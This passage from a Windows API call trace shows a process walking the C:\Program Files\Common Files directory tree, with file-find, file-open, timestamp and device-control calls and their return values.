lpFileInformation=0x1a7f348*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69da35f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0142.217] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER" (normalized: "c:\\program files\\common files\\designer"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0142.217] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x1a7f38c, lpLastWriteTime=0x1a7f38c) returned 0 [0142.217] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x4000) returned 0x98de90 [0142.217] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x98de90, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f3e4, lpOverlapped=0x0 | out: lpOutBuffer=0x98de90, lpBytesReturned=0x1a7f3e4, lpOverlapped=0x0) returned 0 [0142.217] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x98de90) returned 1 [0142.217] NtClose (Handle=0x15c) returned 0x0 [0142.218] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0142.218] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0142.218] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984fd8 [0142.218] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x9850e8 [0142.218] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7f194, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7f194) returned 0x829b38 [0142.218] FindNextFileW (in: hFindFile=0x829b38, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69da35f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.219] FindNextFileW (in: hFindFile=0x829b38, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6accc00, ftCreationTime.dwHighDateTime=0x1ca8d25, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc6accc00, ftLastWriteTime.dwHighDateTime=0x1ca8d25, nFileSizeHigh=0x0, nFileSizeLow=0x18340, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSADDNDR.DLL", cAlternateFileName="")) returned 1 [0142.219] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985170 [0142.219] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985170) returned 1 [0142.219] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985170 [0142.219] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985170) returned 1 [0142.219] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985170 [0142.219] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985170) returned 1 [0142.219] FindNextFileW (in: hFindFile=0x829b38, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6accc00, ftCreationTime.dwHighDateTime=0x1ca8d25, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc6accc00, ftLastWriteTime.dwHighDateTime=0x1ca8d25, nFileSizeHigh=0x0, nFileSizeLow=0x18340, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSADDNDR.DLL", cAlternateFileName="")) returned 0 [0142.219] GetLastError () returned 0x12 [0142.219] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7f194, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7f194) returned 0x829bf8 [0142.219] FindClose (in: hFindFile=0x829b38 | out: hFindFile=0x829b38) returned 1 [0142.219] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69da35f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.219] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6accc00, ftCreationTime.dwHighDateTime=0x1ca8d25, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc6accc00, ftLastWriteTime.dwHighDateTime=0x1ca8d25, nFileSizeHigh=0x0, nFileSizeLow=0x18340, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSADDNDR.DLL", cAlternateFileName="")) returned 1 [0142.219] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6accc00, ftCreationTime.dwHighDateTime=0x1ca8d25, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc6accc00, ftLastWriteTime.dwHighDateTime=0x1ca8d25, nFileSizeHigh=0x0, nFileSizeLow=0x18340, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSADDNDR.DLL", cAlternateFileName="")) returned 0 [0142.219] GetLastError () returned 0x12 [0142.219] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x9850e8) returned 1 [0142.219] FindClose (in: hFindFile=0x829bf8 | out: hFindFile=0x829bf8) returned 1 [0142.219] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x984fd8) returned 1 [0142.219] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0142.219] FindNextFileW (in: hFindFile=0x829b78, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Shared", cAlternateFileName="")) returned 1 [0142.219] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0142.219] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared" (normalized: "c:\\program files\\common files\\microsoft shared"), fInfoLevelId=0x0, lpFileInformation=0x1a7f348 | out: lpFileInformation=0x1a7f348*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0142.220] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared" (normalized: "c:\\program files\\common files\\microsoft shared"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0142.221] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x1a7f38c, lpLastWriteTime=0x1a7f38c) returned 0 [0142.221] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x4000) returned 0x98de90 [0142.221] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x98de90, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f3e4, lpOverlapped=0x0 | out: lpOutBuffer=0x98de90, lpBytesReturned=0x1a7f3e4, lpOverlapped=0x0) returned 0 [0142.221] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x98de90) returned 1 [0142.221] NtClose (Handle=0x198) returned 0x0 [0142.221] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0142.221] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0142.221] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984fd8 [0142.221] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x9850e8 [0142.221] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7f194, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7f194) returned 0x829bf8 [0142.221] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.222] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e19d30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xdbe166c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdbe166c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DW", cAlternateFileName="")) returned 1 [0142.222] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EQUATION", cAlternateFileName="")) returned 1 [0142.222] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58c7d970, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x58c7d970, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EURO", cAlternateFileName="")) returned 1 [0142.222] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5969b6f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd9df3dc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd9df3dc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Filters", cAlternateFileName="")) returned 1 [0142.222] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc25b4860, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25b4860, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRPHFLT", cAlternateFileName="")) returned 1 [0142.222] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x61073d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61073d10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Help", cAlternateFileName="")) returned 1 [0142.222] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ink", cAlternateFileName="")) returned 1 [0142.222] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69dc9750, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSClientDataMgr", cAlternateFileName="")) returned 1 [0142.222] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSInfo", cAlternateFileName="")) returned 1 [0142.222] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe5d93940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5d93940, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE14", cAlternateFileName="")) returned 1 [0142.222] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6c23c830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeSoftwareProtectionPlatform", cAlternateFileName="")) returned 1 [0142.223] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b0da70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69e61cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69e61cd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROOF", cAlternateFileName="")) returned 1 [0142.223] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xd5807780, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd5807780, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Smart Tag", cAlternateFileName="")) returned 1 [0142.223] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef4d890, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef4d890, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Source Engine", cAlternateFileName="")) returned 1 [0142.223] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e177d26, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e177d26, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stationery", cAlternateFileName="")) returned 1 [0142.223] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xcf4f23c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xcf4f23c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TextConv", cAlternateFileName="")) returned 1 [0142.223] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="THEMES14", cAlternateFileName="")) returned 1 [0142.223] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TRANSLAT", cAlternateFileName="")) returned 1 [0142.223] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Triedit", cAlternateFileName="")) returned 1 [0142.223] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBA", cAlternateFileName="")) returned 1 [0142.223] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd2c6940, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xd250e300, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xd250e300, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VC", cAlternateFileName="")) returned 1 [0142.223] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x803feff7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x803feff7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VGX", cAlternateFileName="")) returned 1 [0142.223] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Visio Shared", cAlternateFileName="")) returned 1 [0142.223] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xd6cdb800, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6cdb800, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTO", cAlternateFileName="")) returned 1 [0142.223] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x6a02ad50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a02ad50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Folders", cAlternateFileName="")) returned 1 [0142.223] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Server Extensions", cAlternateFileName="")) returned 1 [0142.223] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Server Extensions", cAlternateFileName="")) returned 0 [0142.223] GetLastError () returned 0x12 [0142.223] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7f194, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7f194) returned 0x829b38 [0142.223] FindClose (in: hFindFile=0x829bf8 | out: hFindFile=0x829bf8) returned 1 [0142.223] FindNextFileW (in: hFindFile=0x829b38, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.223] FindNextFileW (in: hFindFile=0x829b38, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e19d30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xdbe166c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdbe166c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DW", cAlternateFileName="")) returned 1 